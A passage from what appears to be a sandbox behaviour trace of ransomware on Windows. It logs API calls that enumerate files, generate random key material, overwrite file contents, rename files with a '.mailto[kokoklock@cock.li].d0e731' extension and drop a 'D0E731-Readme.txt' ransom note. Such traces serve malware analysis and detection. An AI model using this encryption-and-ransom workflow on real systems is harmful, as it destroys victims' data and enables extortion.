Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*", lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e06d8 [0078.531] wcscmp (_String1=".", _String2=".") returned 0 [0078.531] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.531] wcscmp (_String1="..", _String2=".") returned 1 [0078.531] wcscmp (_String1="..", _String2="..") returned 0 [0078.531] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.531] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.531] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431998 [0078.531] wcscpy (in: _Dest=0x3431998, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0078.531] wcscat (in: _Dest=0x3431998, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" [0078.531] wcscat (in: _Dest=0x3431998, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" [0083.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0083.025] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.025] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.025] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.025] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6c58 [0083.026] wcscpy (in: _Dest=0x33f6c58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0083.026] wcscat (in: _Dest=0x33f6c58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" [0083.026] wcscat (in: _Dest=0x33f6c58, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" [0083.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f6c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0083.026] FindNextFileW (in: hFindFile=0x33e06d8, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.026] FindClose (in: hFindFile=0x33e06d8 | out: hFindFile=0x33e06d8) returned 1 [0083.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f39e0) returned 1 [0083.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427e58) returned 1 [0083.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428920) returned 1 [0083.026] RtlExitUserThread (Status=0x0) Thread: id = 884 os_tid = 0x14d4 [0078.531] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml")) returned 0x20 [0078.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.532] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x658 [0078.532] GetFileSizeEx (in: hFile=0x658, lpFileSize=0x2073fcd0 | out: lpFileSize=0x2073fcd0*=2216) returned 1 [0078.532] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x8a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.532] ReadFile (in: hFile=0x658, lpBuffer=0x2073fca4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2073fca0, lpOverlapped=0x0 | out: lpBuffer=0x2073fca4*, lpNumberOfBytesRead=0x2073fca0*=0x4, lpOverlapped=0x0) returned 1 [0078.534] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34931f8 [0078.534] NtQuerySystemTime (in: CurrentTime=0x2073fc7c | out: CurrentTime=0x2073fc7c*=132121176364253323) returned 0x0 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xca2c0e8a [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x9b9db434 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x4364a502 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x924b9824 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xba61d3ac [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xf82fdee6 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xa20f6fd1 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xf2098ef6 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xbe1d8274 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x8cdfab98 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x1f4e2b78 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x7efb2797 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x9b806b1 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xcc068679 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x8853fd18 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xb50a5e80 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x1892029b [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x323e399b [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x142eb60e [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x6d7d7647 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x3633d181 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x54a783a [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xe82cb66c [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0xa9ccd93e [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x94421828 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x9c59a2a2 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x700731d9 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x4d1c01f7 [0078.534] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x5fbfd1b2 [0078.535] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x712f0eb9 [0078.535] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x64b60171 [0078.535] RtlRandom (in: Seed=0x2073fc88 | out: Seed=0x2073fc88) returned 0x4f4d3669 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.547] ReadFile (in: hFile=0x658, lpBuffer=0x348d230, nNumberOfBytesToRead=0x8a8, lpNumberOfBytesRead=0x2073fc7c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2073fc7c*=0x8a8, lpOverlapped=0x0) returned 1 [0078.547] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2073fc44 | out: lpNewFilePointer=0x0) returned 1 [0078.547] WriteFile (in: hFile=0x658, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x8a8, lpNumberOfBytesWritten=0x2073fc78, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2073fc78*=0x8a8, lpOverlapped=0x0) returned 1 [0078.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.547] WriteFile (in: hFile=0x658, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2073fc74, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x2073fc74*=0x20, lpOverlapped=0x0) returned 1 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493090) returned 1 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.548] WriteFile (in: hFile=0x658, lpBuffer=0x3493248*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2073fca0, lpOverlapped=0x0 | out: lpBuffer=0x3493248*, lpNumberOfBytesWritten=0x2073fca0*=0x8, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x658, lpBuffer=0x2073fcb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2073fca0, lpOverlapped=0x0 | out: lpBuffer=0x2073fcb8*, lpNumberOfBytesWritten=0x2073fca0*=0x4, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x658, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2073fca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2073fca0*=0x4, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x658, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2073fca0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2073fca0*=0x6c, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x658, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2073fca0, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x2073fca0*=0x20, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x658, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2073fca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2073fca0*=0x4, lpOverlapped=0x0) returned 1 [0078.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493248) returned 1 [0078.548] CloseHandle (hObject=0x658) returned 1 [0078.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0078.548] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" [0078.548] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.549] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.549] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.549] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.550] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0078.550] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\D0E731-Readme.txt" [0078.550] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\d0e731-readme.txt")) returned 0xffffffff [0078.550] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x658 [0078.551] WriteFile (in: hFile=0x658, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2073fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2073fc9c*=0x481, lpOverlapped=0x0) returned 1 [0078.553] CloseHandle (hObject=0x658) returned 1 [0078.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435118) returned 1 [0078.553] RtlExitUserThread (Status=0x1) Thread: id = 885 os_tid = 0x14d8 [0078.554] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml")) returned 0x20 [0078.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.555] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x658 [0078.555] GetFileSizeEx (in: hFile=0x658, lpFileSize=0x207bfcf0 | out: lpFileSize=0x207bfcf0*=271) returned 1 [0078.555] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.555] ReadFile (in: hFile=0x658, lpBuffer=0x207bfcc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x207bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x207bfcc4*, lpNumberOfBytesRead=0x207bfcc0*=0x4, lpOverlapped=0x0) returned 1 [0078.556] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493220 [0078.556] NtQuerySystemTime (in: CurrentTime=0x207bfc9c | out: CurrentTime=0x207bfc9c*=132121176364565717) returned 0x0 [0078.556] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xfcc57e89 [0078.556] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xfedf9eb0 [0078.556] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xb61d8e43 [0078.556] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xc67e3f2f [0078.556] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x981949f6 [0078.556] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xb8342b22 [0078.556] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xcebf2e [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x5dbf602e [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x8235d40e [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xa8b73ca [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x3a9f9739 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xa0a3001f [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x8572a74e [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x68b2fc53 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xa1f4cbe6 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x106500b5 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xa631339a [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x1cc52253 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x5f4c1eae [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xec5ceebb [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x3beaa3e1 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x74d0d21d [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x7ecd129c [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x12e56b48 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x215941ee [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x749b3acd [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x42d30965 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xe612c743 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xc6bc9f6e [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x85a88b9c [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0x82a4d933 [0078.557] RtlRandom (in: Seed=0x207bfca8 | out: Seed=0x207bfca8) returned 0xa465a868 [0078.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.568] ReadFile (in: hFile=0x658, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x207bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x207bfc9c*=0x10f, lpOverlapped=0x0) returned 1 [0078.568] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x207bfc64 | out: lpNewFilePointer=0x0) returned 1 [0078.568] WriteFile (in: hFile=0x658, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x207bfc98, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, 